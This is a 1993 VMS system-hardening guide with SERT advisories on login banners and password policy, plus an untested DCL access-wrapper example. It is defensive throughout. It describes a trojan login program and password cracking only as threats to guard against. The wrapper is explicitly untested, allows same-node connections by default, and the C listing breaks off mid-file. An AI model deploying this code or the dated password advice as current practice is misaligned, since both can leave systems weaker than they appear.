         FAL V5.1-D3 started execution on 28-JUL-1993 15:55:41.12
         with SYS$NET = NODE1::"0=USER1" and with FAL$LOG = 03

         Logical link was established on  28-JUL-1993 15:55:41.13

         Requested file access operation: Directory List
         Specified file: DISKE:[USER2]L*.*;*
         Resultant file: DISKE:[USER2]LOGIN.COM;3
         Resultant file: DISKE:[USER2]LWK_PERSONAL.LINKBASE;1

         Logical link was terminated on   28-JUL-1993 15:55:41.18

         Total connect time for logical link was    0 00:00:00.05
         Total CPU time used for connection was     0 00:00:00.02

         File Access Statistics for RECV-Side XMIT-Side Composite
         -------------------------- --------- --------- --------
         # DAP Message QIO Calls            2         2         4
         # DAP Messages Exchanged           2        14        16
         # User Records/Blocks              0         0         0
         NETSERVER.LOG (continued)

         # Bytes of User Data               0         0         0
         # Bytes in DAP Layer              49       310       359
         User Data Throughput (bps)         0         0         0
         DAP Layer Throughput (bps)      7840     49600     57440
         Average Record/Block Size          0         0         0
         % User Data in DAP Layer        0.0%      0.0%      0.0%
         -------------------------- --------- --------- ---------

         Negotiated DAP buffer size           = 1060 bytes
         Buffered I/O count during connection = 13
         Direct I/O count during connection   = 0
         Peak working set size for process    = 470 pages

         Successful Start Transaction Branch  = 0
         Start Transaction Branch loops       = 0

         FAL terminated execution on      28-JUL-1993 15:55:41.21
         ========================================================

          Using Homegrown Or Publicly Available Software

   4.1 Wrappers

   A  "wrapper"  is  a  piece of software that  monitors  an
   attempt to use a service, and based on the details  about
   the  source of the attempt (such as remote host and user,
   time,  and connection type), determine whether  to  allow
   the  use of the service or not. This is the feature  that
   a  wrapper  has  available to it over and above  standard
   system  logging  software: the use of the  wrapper  gives
   the  system manager freedom to make decisions whether  to
   allow  the  use  of  the machine from a  remote  site  in
   addition to simply logging that use.

   Wrappers  should  be  constructed for  the  NML  and  FAL
   objects, and also for interactive logins. Section  2.1.2,
   SYLOGIN.COM and Section 2.3.2, Objects gives the  details
   on how to install these wrappers.

   Because  the  NML and FAL wrappers need to handle  DECnet
   connections   only,  they  are  more  simple   than   the
   interactive login wrapper.

   The  DECnet  object wrappers evaluate the  connection  by
   comparing the remote node and user combination against  a
   set  of  rules.  The  set of rules is  described  in  two
   files:
     AllowFile which describes which combinations  may  make
               the connection, and
     DenyFile  which describes which combinations  may  not
               make the connection.

   Wildcards are allowed. The general algorithm is:

     Main ()
     {
       RemoteUser = f$trnlnm("SYS$REM_ID")
       RemoteNode = f$trnlnm("SYS$REM_NODE")
       ConnectionOkay = CheckRules(RemoteNode, RemoteUser)
       if (ConnectionOkay = Allow) /* ConnectionOkay = Allow|Deny */
       then
         write successful connection record to wrapper log
         request/to=(network,security) "<Succesful connection details>"
         run SYS$SYSTEM:FAL.EXE
       else
         write failed connection record to wrapper log
         request/to=(network,security) "<Failed connection details>"
         logout
       endif
     } end Main
     CheckRules (RemoteNode, RemoteUser)
     {
       if ((result = CheckCombination(RemoteNode, RemoteUser)) != Unknown)
         then return result
       if ((result = CheckCombination(RemoteNode, "*"))        != Unknown)
         then return result
       if ((result = CheckCombination("*", "*"))               != Unknown)
         then return result
       return Deny
     }  end CheckRules
     CheckCombination (RemoteNode, RemoteUser)
     {
       Search AllowFile for RemoteNode::RemoteUser
       if found then return Allow
       Search DenyFile for RemoteNode::RemoteUser
       if found then return Deny
       return Unknown
     }  end CheckCombination

   The  search  commands used above should be  such  that  a
   wildcard  search matches the literal "*" in a  file,  not
   any  string  (in  a  similar manner to the  VMS  "SEARCH"
   command).  Hence the wildcard value of "*" is  placed  in
   the  file  by the system manager. The general  philosophy
   that  should  be  adopted is to use a blanket  denial  (a
   single  line  of "*::*" in the deny file)  with  specific
   allowed node::user combinations in the allow file.

   The  interactive connection wrapper is similar, with only
   a slightly more complicated top level algorithm:

     Main ()
     {
   |    Establish RemoteUser
   |    Establish RemoteNode
        ConnectionOkay = CheckRules(RemoteNode, RemoteUser)
        if (ConnectionOkay = Allow) /* ConnectionOkay = Allow|Deny */
        then
          write successful connection record to wrapper log
          request/to=(network,security) "<Succesful connection details>"
   |      exit(Success)
        else
          write failed connection record to wrapper log
          request/to=(network,security) "<Failed connection details>"
   |      exit(Failure)
        endif
     } end Main

   The  main  problem here is to establish remote  user  and
   node  identities. Interactive access may take place using
   DECnet,  LAT,  TCP/IP and so on. System  values  used  to
   find this information are:

     * F$TRNLNM("SYS$REM_ID")
     * F$TRNLNM("SYS$REM_NODE")
     * F$GETDVI("SYS$COMMAND","TT_ACCPORNAM")
     * the DECnet database
     * the local terminal type of the connection
     * information from F$TRNLNM("DECW$DISPLAY")

   Connections  are then evaluated not only on  remote  node
   and  user (if provided by the protocol), but also by  the
   protocol    used   for   the   connection    and    local
   characteristics (such as the time).

   It  is  important to note that any reading from AllowFile
   or  DenyFile,  and writing to the wrapper log  should  be
   carried out by installed, protected images, and that  the
   command  file(s)  and executable(s)  used  are  writeable
   only   by   system  privileged  accounts.  This  prevents
   modification  of  behaviour  and  recorded   results   by
   potential attackers.

   Example  code and configuration files appear in  Appendix
   3, Wrapper Example.

   4.2 Single Use PINs

   A  Personal  Identification Number (PIN)  is  simply  the
   numerical equivalent of a text-based password.  Unlike  a
   normal  password system, though, a single use PIN  relies
   on   algorithmic  knowledge  rather  than  static   value
   knowledge.

   The  system  works thus: when a user logs in, system  and
   user  passwords must be supplied as described in previous
   sections. A numerical challenge is then issued. The  user
   must  supply the correct reply to this challenge, or  the
   login   will  be  denied.  The  correct  reply  is   some
   permutation  of  the  original challenge.  The  challenge
   must  be randomly generated, so that every time the  user
   logs  in,  a  different numerical challenge is  supplied,
   requiring  a  unique reply - only the algorithm  used  to
   deduce   the   reply  from  the  challenge   is   static.
   Furthermore, this algorithm is different for  each  user.
   The  software which issues the challenge and receives the
   reply  must be robust, so that an attacker cannot  simply
   "crash" the software and hence bypass this mechanism.

   Such systems are available commercially. A smart-card  is
   usually  supplied with such systems. The  user  keys  the
   challenge  supplied by the host into the smartcard  using
   the  keypad.  The smartcard then displays  the  response,
   and the user enters this as the reply to the host.

   A  cheaper alternative is to write such a system locally,
   fulfilling all of these criteria. A usage policy must  be
   in place to effectively manage this system.

   4.3 Terminal Monitors

   Terminal  monitors  are  useful utilities  for  providing
   help to users who may be working remotely, or may not  be
   reachable by telephone and require some type of  help  in
   real-time (i.e. electronic mail would not suffice).

   Where  such  utilities are available on the system,  they
   must  be adequately protected to ensure that unauthorised
   users  can neither use them nor copy them. Care  must  be
   taken  to  ensure that explicit permission is  sought  by
   the  legitimate  users concerned or a relevant  authority
   when such a utility is used.

   Similar  principles apply when using system software  for
   capturing  a process's recall buffer in order to  examine
   the commands issued by that process.

                 Monitoring The Use Of The Machine

   It  is  essential to carry out monitoring on any  machine
   in  order  to  evaluate  the health  of  the  system.  In
   addition  to  checks  that should be  carried  out  on  a
   regular  basis,  steps should be taken to  be  allow  for
   investigation of unusual security related events as  soon
   as possible.

   5.1 The SHOW INTRUSION Command

   Use  the  command SHOW INTRUSION regularly. This  command
   displays   the   contents  of  the   break-in   database,
   providing  a quick technique for checking if  there  have
   been  attempts to break into your system in the immediate
   past.

   When  using  the SHOW INTRUSION command, you  must  first
   get  some  idea  if the host has detected  any  potential
   breakins:

    $ SET PROC/PRIV=(CMKRNL,SYSPRV)
    $ SHOW INTRUSION
    Intrusion       Type       Count  Expiration   Source
    NETWORK       SUSPECT       6    16:32:23.03   NODE2::USER2
    TERM_USER     SUSPECT       3    16:18:14.16   USER1

   In  this  case,  there  are two  suspect  incidents.  The
   records  below  show that the first  was  an  attempt  by
   USER2  on node NODE2 to login as USER1 on the local  host
   (NODE1) via DECnet. The second is an attempt to login  as
   USER1  on  the local host using telnet from NODE3  (which
   in this case was actually the localhost - 127.0.0.1).

   The accounting records show the following:

   LOGIN FAILURE
   -------------
   Username:      USER1         UIC:            [SYSTEM]
   Account:       <login>       Finish time:    3-AUG-1993 16:02:28.80
   Process ID:    2080D073      Start time:     3-AUG-1993 16:02:19.59
   Owner ID:                    Elapsed time:            0 00:00:09.21
   Terminal name: RTA3:         Processor time:          0 00:00:00.23
   Remote node addr: 1038       Priority:                            4
   Remote node name: NODE2      Privilege <31-00>:            0010C000
   Remote ID:     USER2         Privilege <63-32>:            00000000
   Queue entry:                 Final status code:            10D380FC
   Queue name:
   Job name:
   Final status text: %LOGIN-F-INVPWD, invalid password

   Page faults:             234    Direct IO:                 24
   Page fault reads:          5    Buffered IO:               40
   Peak working set:        287    Volumes mounted:            0
   Peak page file:         1474    Images executed:            1

   LOGIN FAILURE
   -------------
   Username:      USER1         UIC:            [SYSTEM]
   Account:       <login>       Finish time:    3-AUG-1993 16:03:20.85
   Process ID:    2080D878      Start time:     3-AUG-1993 16:03:11.77
   Owner ID:                    Elapsed time:            0 00:00:09.08
   Terminal name: VTA3959       Processor time:          0 00:00:00.21
   Remote node addr:            Priority                             4
   Remote node name:            Privilege <31-00>:            FFFFFFFF
   Remote ID:                   Privilege <63-32>:            FFFFFFFF
   Queue entry:                 Final status code:            10D380FC
   Queue name:
   Job name:
   Final status text: %LOGIN-F-INVPWD, invalid password

   Page faults:             235    Direct IO:                 18
   Page fault reads:          5    Buffered IO:               41
   Peak working set:        284    Volumes mounted:            0
   Peak page file:         1474    Images executed:            1

   The audit records show the following:

   Security alarm (SECURITY) and security audit (SECURITY) on NODE1,
   system id: 1072 / Remote interactive login failure
   Event time:    3-AUG-1993 16:02:19.59
   PID:                00000D33
   Username:           USER1
   Terminal name:      _RTA1:
   Remote nodename:    NODE2           Remote node id:         1184
   Remote username:    USER2
   Status:             %LOGIN-F-INVPWD, invalid password

   Security alarm (SECURITY) and security audit (SECURITY) on NODE1,
   system id: 1072 / Remote interactive login failure
   Event time:    3-AUG-1993 16:03:11.77
   PID:                00000CB4
   Username:           USER1
   Terminal name:      _TNA7:
   Remote nodename:    127.0.          Remote node id:   2130706433
   Remote username:    TELNET_7F000001
   Status:             %LOGIN-F-INVPWD, invalid password

   Note that the remote nodename is always truncated to  six
   characters.   The   remote  node  id   is   a   numerical
   representation of the remote address.

   Notice  from  the  failed telnet  login  above  that  the
   remote   username  is  given  as  TELNET_7F000001.   This
   equates to the IP address 127.0.0.1 thus:

        7 * 16 + F = 127
        0 * 16 + 0 =   0
        0 * 16 + 0 =   0
        0 * 16 + 1 =   1

   Hence   if  this  attempt  had  come  from  the   Network
   Information   Centre   (nic.ddn.mil,   Internet   address
   192.112.36.5),  the remote username would  have  appeared
   TELNET_C0702405.

   5.2 Daily Activities

   A  batch  file  must  be written in order  to  carry  out
   regular  activities  on  a  daily  basis.  Amongst  these
   activities  should be various checks on log files.  These
   are listed below.

    $ SEARCH/OUTPUT=BREAKIN_CHECK.TMP SYS$MANAGER:OPERATOR.LOG;-1 -
     "Security alarm"/WINDOW=(3,8)
    $ ANALYZE/AUDIT/BRIEF/SUMMARY/NOINTERACTIVE/OUTPUT=BREAKIN_CHECK.TMP -
     SYS$MANAGER:SECURITY_AUDIT.AUDIT$JOURNAL;-1
    $ ACCOUNT/LOG/SORT=(TYPE,STARTED)/OUTPUT=BREAKIN_CHECK.TMP  ACCOUNTNG;-1

   Any  one  of  these can be used for obtaining information
   about  the  life of the system. The amount  and  type  of
   information  required should be used to determine  which.
   When  any  record from the output of these files  reveals
   an  incident that appears unusual, then further  checking
   is  required. The daily summary returned by  any  one  of
   the  commands above should only be used to indicate  that
   this  action  is required - you should not rely  on  just
   the summary information returned by these commands.

    $ SHOW AUDIT/ALL/OUTPUT=AUDIT_CHECK.TMP 

   Check  daily  that the security auditing  characteristics
   you require are in place, and have not been changed.

    $ ANALYZE/ERROR/SINCE="-1 0:0:0.0"/OUTPUT=ERROR_CHECK.TMP

   Examine  the  error  log daily as  well.  This  will  not
   necessarily  alert  you to a security  incident,  but  it
   will  draw  your  attention to any system  problems  that
   could  potentially hinder your efforts  to  recover  from
   disaster.  (You  could also put the "SHOW ERROR"  command
   in your LOGIN.COM file.)

    $ MAIL/NOSELF/NOEDIT LOCAL$WRAP:INTERACTIVE.LOG -
      "@SYS$SYSROOT:[SYSMGR.MAIL]DAILY_BATCH.DIS" -
      /SUBJECT:"Logged interactive logins"

   Wrappers  were  discussed in Section  4.1,  Wrappers.  As
   part   of  your  daily  checking,  you  should  mail   to
   yourself,  and  other  relevant users,  the  output  from
   these  wrappers  on  a  daily basis.  The  example  above
   mentions only output from the interactive wrapper  log  -
   the implication is that all logs should be checked.

   5.3 Having a Live Console

   Don't   rely   simply   on   on-line   sinks   (such   as
   OPERATOR.LOG) for your security oriented output.  In  the
   event of a system compromise, it is quite likely that  an
   attacker will attempt to delete or modify information  in
   system files.

   A  good idea is to enable a security operator's terminal.
   In  addition  to (or even instead of) the  normal  system
   console  (usually  OPA0:), you should  consider  using  a
   security  operator's terminal one that provides  hardcopy
   output and is located in a secure location.

   (A  word  of  caution: even an unsuccessful attack  could
   seriously  disrupt  your system if the  hardcopy  printer
   runs out of paper.)

   Using  the example from the Guide to VMS System  Security
   manual,   consider  an  example  where  such  a  terminal
   (TTA3:)  has  been designated, and security messages  are
   to  be  disabled  on the console. This  can  be  achieved
   thus:

    $ DEFINE/USER SYS$COMMAND OPA0:
    $ REPLY/DISABLE=SECURITY
    $ DEFINE/USER SYS$COMMAND TTA3:
    $ REPLY/ENABLE=SECURITY

   You  can, of course, enable other message classes to this
   terminal as well.

                         Acknowledgements

   Most  of  the undocumented material in this  paper  is  a
   mixture  of my own work and other material that has  been
   passed  on  to me by various colleagues at The University
   Of  Queensland.  The original idea for  the  wrapper  was
   inspired  by  Ron  Tencati, and  Wietse  Venema's  public
   domain tcp_wrapper for UNIX systems.

                            References

   VAX/VMS Documentation manuals:

       DEC TCP/IP Services for VMS System Management
       Guide to VAX/VMS System Security
       Access Control List Editor Utility
       Accounting Utility
       Audit Analysis Utility
       Authorize Utility
       Guide to Maintaining a VMS System
       Network Control Program Manual
       Networking Manual

   Ron Tencati, Ken Coar and E Eugene Schultz

       Managing Security in a Multi-Vendor Network, 1992

                                 Appendix 1

                SERT Advisory SA-93.03, Suggested Login Banner

=============================================================================
SA-93:03A			SERT Advisory
				 31-May-1993
			    Suggested Login Banner
-----------------------------------------------------------------------------

On 7-May-1993, the Security Emergency Response Team released Advisory
SA-93:03.  Since then, it has been brought to our attention that the word
"permission" could be considered ambiguous as Unix file systems use
"permission" bits to specify if access is granted to a file or not.

Further advice from the Commonwealth Director of Public Prosecutions
indicates:

"'Permit' does seem to include a meaning of 'allow or let happen even by
accident or carelessness'."

"'Authority' or 'authorisation' suggest that someone has deliberately
turned their mind to an action and formally approved that action."

"In light of the fact that there does appear to be a difference in meaning
between words 'permit or permission' and 'authority or authorisation' and
the fact that computer scientists refer to 'permission' bits on Unix files,
it does appear desirable that the words 'authority' or 'authorisation' be
used instead of the word 'permission'."

Therefore, the Security Emergency Response Team has reissued SA-93:03 as
SA-93:03A taking into account the new recommendations.  The new Advisory is
included below.

----------------------------------------------------------------------------
The SERT team wishes to thank Kate Lance at the University of Newcastle for
bringing this problem to our attention.
----------------------------------------------------------------------------

----------------------------------------------------------------------------
Body of SERT Advisory SA-93:03A
----------------------------------------------------------------------------

The Security Emergency Response Team has received information that a
successful prosecution of a computer cracker has taken place in New South
Wales.  The prosecution was aided by the use of an appropriate login
banner.  The following is an extract from a letter by the Australian
Federal Police:

"A major factor, commented upon by the magistrate, was the repeated warning
message displayed at logon to your system.  Your agreement to implement this
feature has certainly started to pay dividends and demonstrates a certain
willingness to accept [that] tertiary institutions are not fair game."

A recommended login banner is:

----- Warning Message -----

	***** This service is for authorised clients only *****

****************************************************************************
* WARNING:	It is a criminal offence to:				   *
*		i. Obtain access to data without authority		   *
*			(Penalty 2 years imprisonment)			   *
*		ii Damage, delete, alter or insert data without authority  *
*			(Penalty 10 years imprisonment)			   *
****************************************************************************

This example login banner was supplied to the Australian Federal Police by
the office of the Commonwealth Director of Public Prosecutions.  Legal
opinion from the Commonwealth Director of Public Prosecutions indicates
that this warning will assist in prosecutions of computer crackers for two
reasons:

"The prosecution in a criminal case must show that the computer hacker's
actions are intentional.  It would be extremely difficult for a hacker to
argue that his actions were by accident or inadvertent when he has to go
past such a warning on the system."

"A hacker may admit that his actions were intentional.  However, upon his
sentence, he may argue that he was ignorant of the law or that he was
unaware that his actions were unauthorised, thereby inducing the court to
mitigate the penalty that it imposes.  If the above warning is used, it
will be extremely difficult for a hacker to present such arguments."

SERT recommends the use of this, or similar banners on ALL systems and
access points into the network (such as a modem pool and ftp access).  This
not only provides forewarning to any crackers that may intrude your system
that certain types of activity are illegal, but also advises any legitimate
users of their obligations relating to acceptable use of the computer
system.

The warning is deliberately general in nature as it has not yet been
established what type of (if any) crime has been committed.  Subsequent
prosecution may be performed under Federal or State law, or handled by
local institution disciplinary procedures.

SERT recommends that any login banner or system initial message should not
imply consent to use the computer services (E.g., words such as "greeting"
or "welcome"), unless it is the express intention that any user is free to
use the system, whether they are authorised or not.

You may wish to include some identification information (such as the
hostname) so that genuine users know that they have connected to the
correct system.  For example,
"You have connected to node FRED at The University of Wooloomooloo"
and follow this with an appropriate warning message.

Examples methods for login messages are:

VMS:	Edit the file SYS$MANAGER:SYSTARTUP_V5.COM and include the line:
$DEFINE/SYSTEM SYS$ANNOUNCE "@SYS$MANAGER:ANNOUNCE.TXT"
then create the file SYS$MANAGER:ANNOUNCE.TXT with the text that you wish
displayed when a user connects to your system.

Note that this has implications for LAT as the default service
identification is the logical SYS$ANNOUNCE (which will translate to
@SYS$MANAGER:ANNOUNCE.TXT).  In this case, you should edit the LAT startup
procedures to explicitly define a LAT service identification.

Unix:	Edit the "message of the day" file, (e.g., /etc/motd) and include
the text that you wish displayed when a user logs in to your system.

This does not cover all ways to connect to a computer (e.g., rlogin,
telnet, SET HOST, ftp), but serves as one point of warning in a number of
cases.  Warnings such as this are a positive step towards providing
adequate notice of the obligations and responsibilities relating to the use
of the computer equipment.  If a person is known to have seen the warning,
they cannot subsequently claim ignorance of their responsibilities.

----------------------------------------------------------------------------
The SERT team wishes to thank The University of Sydney, the University of
South Australia, the Australian Federal Police, and the Commonwealth
Director of Public Prosecutions for their advice and cooperation in this
matter.
----------------------------------------------------------------------------

If you believe that your system has been compromised, contact SERT or your
representative in FIRST (Forum of Incident Response and Security Teams).

Internet Email:	sert@sert.edu.au
Facsimile:	(07) 365 4477
Telephone:	(07) 365 4417
		SERT personnel answer during business hours (AEST).

Security Emergency Response Team
Prentice Centre
The University Of Queensland
Qld.  4072.

                            Appendix 2

SERT Advisory SA-93.04, Guidelines For Developing A Sensible Password Policy

=============================================================================
SA-93:04                        SERT Advisory
                                  1-Jun-1993
             Guidelines For Developing A Sensible Password Policy
-----------------------------------------------------------------------------

This advisory contains guidelines for developing a sensible password policy. 
Please feel free to extract the contents of this advisory, modify to suit local 
conditions, and then distribute to end users, as it is end users who are 
responsible in the first instance for individual account security.

Without doubt, one of the most popular methods used by computer crackers to
compromise a system is password stealing.

By stealing your username and password an intruder can, with reduced
likelihood of detection, gain access to your system, modify it for his or
her own purposes and use that system as a launchpad for attacks on other
systems throughout the world - and all in your name. Password protection is
one of the most (if not the single most) important principles of system
security. It is uniformly important for ALL users, regardless of system
privileges or computer literacy. It is up to each and every individual to
ensure that their password is safe - a single unsafe password can (and
probably will) lead to a computer cracker violating YOUR system.

Your best line of defence against attack is a secure password. A password
is like a key, and any entry point that allows access by default is not
secure. A bad password is like leaving your front door unlocked.

Do not underestimate the ease with which your password can be stolen. There
are many techniques available to do this. A simple and amazingly successful
password theft technique for the cracker is password guessing (i.e. entering
your username, and simply guessing what your password might be). The aim of
this advisory is to thwart these attempts.

How To Select A Safe Password
-----------------------------

Some systems automatically (and autocratically) allocate passwords to
users. Many systems, however, give the user the option of selecting his 
or her own password. The following guidelines should help in selecting a
password which will be sufficiently robust to prevent a cracker from
guessing your password in the majority of cases. 

There are several principles involved in selecting a safe password. These
are covered below.

The DO-NOTs

DO NOT use simple passwords that are easy to remember and are typically 
	not safe. Examples of such passwords are:

	-  your userid (a common, but extremely dangerous practice);

	-  a word which can be associated with you. For example:
		- your car make, model or registration number
		- your child's name
		- your street name, postcode or other address details
		- your medicare number
		- your tax file number
		- any of your bank account numbers;

	-  a word which someone watching could easily spot (qwertyuiop);

	-  any dictionary word (which a cracker with a PC and an on-line 
		dictionary could discover by exhaustive trial);

	-  words from other guessable word sets such as famous names, 
		proper names, colloquial terms (in various spheres of
		life) and so on.

	It is not sufficient to include a single number in the word, or 
	change all O's to 0's and I's or L's to 1's in the word, or to spell 
	the word backwards.

DO NOT leave your account without a password.

DO NOT use your userid as your password.

DO NOT use any word from a dictionary (of any language) as most forms of 
	password attack use dictionaries as a basis for password guessing.

DO NOT use birthdays, car registration numbers, room numbers, department names,
	machine names, locations, wife/husband's names, pet's names,
	children's names and so on. These may be determined as most of this
	information is not confidential.

DO NOT use keyboard patterns, or duplicating characters such as qwerty or
	aabbccdd.

DO NOT use the same password on multiple accounts. If you have many accounts,
	then do not use the same password on each account. If one is broken,
	then all are broken. Also, do not just change one character in the
	password as this may be easily spotted if one of the passwords is
	compromised.

DO NOT allow anyone to watch while you type your password.

DO NOT record your password either on-line. DO NOT write down your 
	passwords.

DO NOT tell anyone what your password is. Do not share your password with
	your partner, your children, your friends. Even telling your dog
	should be considered risky! Do not tell a person verbally, by
	electronic mail or by any other means.

Remember: if someone has your password, they can commit criminal acts using
your account!

SERT staff have been alerted to several security breaches at constituent
sites which have been attributed (in total or in part) to the sharing of 
passwords between husband and wife, parent and child, and between friends.

The DOs

DO use a MINIMUM (not maximum!) of 8 or more characters (system permitting).

DO use mixed case wherever possible. DO NOT choose only the first letter as
	uppercase. (e.g. Mich37bo is not as good as MicH37Bo.)

DO include at least two digits or punctuation characters. DO NOT simply replace
	"o" and "O" with "0", and "I", "l" or "L" with 1. (e.g. fl0pp1mp is
	not as good as fL0$p*Mp.)

DO change passwords frequently, and DO NOT reuse old passwords. Password
	cracking algorithms have been around for quite a while now. By using
	computationally intensive processes, a password can be broken in time.

Applying the techniques outlined above make the length of time required to
break a password prohibitively long. However, the time required to break a
password drops significantly as each letter is guessed, or other
information is known about a password. Passwords should be changed
regularly, so that even if a password is finally guessed, it will be long
out of date. A password should never be reused.

General techniques for generating safe passwords include:

-  using two or three short words that are unrelated;
-  always including some non-alphabetic, non-numeric (i.e. punctuation)
	characters;
-  deliberately misspelling;
-  taking the first letter from each word of a phrase (a passphrase).

Note that different operating systems have different rules for the
characters that one is allowed to use in a password. Some operating systems
will allow any printable characters, whereas others only allow numeric and
alphabetic (i.e. non-punctuation) characters.

After reading all of that, you may ask "well, what is a good password? What
can I use?". One technique would be to use a two or three word phrase, and
replace the 1st character of the 1st word with a <shift>-1, the 2nd
character of the 2nd word with a <shift>-2, etc, and uppercase every second
character except punctuation. e.g. [email protected]$lLs (my car smells).

Another alternative might be to use the first letter from each word in a
line from a song, have every third letter in upper case, and replace (aeiou) 
with ({}:"?). For example, 'Tie A Yellow Ribbon Round That Old Oak Tree' 
would convert into 't{YrrT""T'.

(Rationale:
   'Tie A Yellow Ribbon Round That Old Oak Tree'            => 'tayrrtoot'
   Convert every third letter to upper case                 => 'taYrrTooT'
   Replace lower case vowels                                => 't{YrrT""T')

Note that these examples should NOT be used as they are now published
widely!

You should be aware of what characters your system will accept in a
password, the length required for a password, and what time period is
allowed before the password will have to be changed again. You also need to
be aware of the commands used to change passwords.

What System Managers Can Do
---------------------------

Consider using the following techniques.

- Use Crack, a password cracking tool to audit existing passwords. You supply
	a dictionary, and a list of massaging rules. Crack then tests the
	encrypted password against the dictionary and rules list to see which
	passwords it can guess. This is only available for UNIX systems.

- Consider also the use of password shadowing, which places the encrypted
	passwords in a non-world-readable file, not /etc/passwd (which is
	world-readable). Again, this is only applicable for UNIX systems.

- If your system has a facility to enforce rules on minimum password
	content (e.g. "must include at least 1 upper case and at least 1
	numeric"), then use this facility. For UNIX systems which don't
	have this facility, npasswd or passwd+ are good alternatives.

- If your system has a facility to (a) enforce password ageing, and (b) keep
	a history file of passwords and disallow previous passwords, then
	use this facility also.

- Keep passwords for system accounts distributed amongst the smallest group
	of people possible. Change these passwords more frequently than
	passwords for non-privileged accounts.

- Take care with the use of facilities that are available for logins which
	bypass the use of passwords. For instance, on VMS systems, don't
	allow proxy logins for privileged accounts such as "SYSTEM". On UNIX
	machines, remove any .rhosts files (or /etc/hosts.equiv) with "+"
	signs in them.

Login programs (such as /bin/login on UNIX systems) are constructed to 
behave in a certain way. One method used by crackers to obtain passwords is 
to execute a program (a trojan horse) masquerading as the login program. 
The trojan horse will accept your username and password, log it into a 
secret file, and then inform you that the combination entered was 
incorrect, before finally calling the real login program. The user, 
thinking that this was merely a typographical error, will proceed as normal
unaware that his or her password has been logged for later use. This can be 
avoided in some cases by typing <Return> a few times before entering your 
username/password combination.

Finally, system managers should be aware that X display managers (such as 
xdm) may bypass several login and system facilities such as message of 
the day, password ageing etcetera. Depending upon the sensitivity of your 
site, this may present some problems which will need resolution using more 
lateral methods.

If you believe that your system has been compromised, contact SERT or your
representative in FIRST (Forum of Incident Response and Security Teams).

Internet Email:	sert@sert.edu.au
Facsimile:	(07) 365 4477
Telephone:	(07) 365 4417
		SERT personnel answer during business hours (AEST).

Security Emergency Response Team
Prentice Centre
The University Of Queensland
Qld  4072
AUSTRALIA.

                            Appendix 3

                          Wrapper Example

   The  following material is an example of a  wrapper  that
   could conceivably used for protecting the FAL object,  as
   outlined in Section 4.1, Wrappers.

   $ SET NOON
   $ SET NOCONTROL_Y
   $ SaveVerify = F$VERIFY(0)
   $ SET NOVERIFY
   $!
   ================================================================
   $!
   $! Example Wrapper
   $!
   $!             *** NOTE: This file is UNTESTED! ***
   $!
   $! Author: Rob McMillan, 1992
   $!
   $! Example wrapper for the FAL object. This command file should
   be
   $! specified as the file to execute for the FAL object in the NCP
   $! database. This file is for example purposes only!
   $!
   $! Create allow and deny lists in AllowFile and DenyFile. The
   $! format of each file is "HOST::USERNAME.". Note the full stop.
   $!
   $! eg
   $!                        NODE1::USER1.
   $!
   $! To have blanket values, use an asterisk *. For instance, to
   $! have a blanket denial, but allow all people from NODE2::, and
   $! allow NODE1::USER1, have the following configuration:
   $!
   $!                        DenyFile:
   $!                          *::*.
   $!
   $!                        AllowFile:
   $!                          NODE2::*.
   $!                          NODE1::USER1.
   $!
   $! In the absence of enough information in the configuration
   $! files, or a clash of information (eg denying and allowing
   $! *::*), the default action is to deny a connection.
   $!
   $!================================================================
   $!
   $!  -- What object is this wrapper for?
   $!
   $ Executable = "SYS$SYSTEM:FAL.EXE"         ! Object executable to use
   $!
   $!  -- Constants
   $!
   $ WAllowed == %x10000001
   $ WDenied  == %x10000002
   $ WUnknown == %x10000003
   $!
   $!  -- Get connection details
   $!
   $ LocalNodeName  = F$GETSYI("NODENAME") + "::"
   $ LocalTime      = F$TIME()
   $ LocalUser      = F$GETJPI("","USERNAME")
   $ LocalUser      = F$EXTRACT(0,F$LOCATE(" ",LocalUser),LocalUser)
   $ RemoteNodeName = F$TRNLNM("SYS$REM_NODE")
   $ RemoteUser     = F$TRNLNM("SYS$REM_ID")
   $ WrapperLogInfo = -
     "at ''LocalTime' from ''RemoteNodeName'::''RemoteUser' as ''LocalUser'"
   $!
   $!  -- Check wrapper configuration
   $!
   $! At this point, we can use any of the following to check
   $! whether we'll allow the connection:
   $!
   $!        - LocalNode
   $!        - LocalTime
   $!        - LocalUser
   $!        - RemoteNodeName
   $!        - RemoteUser
   $!
   $ ConnectionOkay = WUnknown
   $ CheckFALRules 'LocalNodeName' 'LocalTime' 'LocalUser' -
                   'RemoteNodeName'            'RemoteUser'
   $ ConnectionOkay = $Status
   $ IF (RemoteNodeName .EQS. LocalNodeName)
   $ THEN
   $    ConnectionOkay = WAllowed   ! Failsafe
   $ ENDIF
   $!
   $!  -- Log the event and take action
   $!
   $ IF (ConnectionOkay .NE. WAllowed)
   $ THEN
   $   WRITE SYS$OUTPUT "Network connect request failed ''WrapperLogInfo'"
   $   WriteFALLog "Network connect request failed ''WrapperLogInfo'"
   $   LOGOUT
   $ ELSE
   $   WRITE SYS$OUTPUT "Network connect request succeeded ''WrapperLogInfo'"
   $   WriteFALLog "Network connect request succeeded ''WrapperLogInfo'"
   $   RUN 'Executable'
   $ ENDIF
   $!
   $!  -- Go home now
   $!
   $ SaveVerify = F$VERIFY(SaveVerify)
   $ EXIT 'ConnectionOkay'

   For   interactive  connections,  the  section  in   which
   connection   details   are  evaluated   would   be   more
   complicated.  Different mechanisms would be required  for
   finding  out  these  details  based  upon  the  type   of
   connection  (eg  local, DECnet, LAT, telnet).  These  are
   mentioned  in Section 4.1, Wrappers. These command  files
   should  be  world  executable,  but  only  readable   and
   writeable by system privileged users.

   The   two  executables,  CheckFALRules  and  WriteFALLog,
   should  be  similarly protected (eg installed,  protected
   images).  WriteFALLog  is  a very  simple  program  which
   writes  the supplied parameters to the log file for  this
   object.  CheckFALRules  could  look  something  like  the
   following example.

   /*
    * CheckFALRules.C
    *
    * Author: Rob McMillan, 1992
    *
    *  Use current connection details to compare with local rules and
    *  return a value describing whether to allow the connection or
    *  not (Allow).
    *
    *  The returned value (Allow) can return one of two values:
    *        WAllowed: allow the connection
    *        WDenied:  refuse the connection
    *
    *  This wrapper configuration tests only upon the basis of
    *  RemoteNodeName and RemoteUser. However, any of the details
    *  supplied below can be used, based upon paranoia levels. To
    *  do this, the following must be modified:
    *
    *           - The CHECK_EXPLICIT_RULE subroutine
    *           - The calls in this subroutine to CHECK_EXPLICIT_RULE
    *           - The header comments at the top of this wrapper
    *            - The allow and deny files.
    *
    */

   #include <ssdef.h>
   #include <stdio.h>
   #include <stdlib.h>
   #include <string.h>

   #include "CheckFALRules.H"

   typedef unsigned int     BOOLEAN;
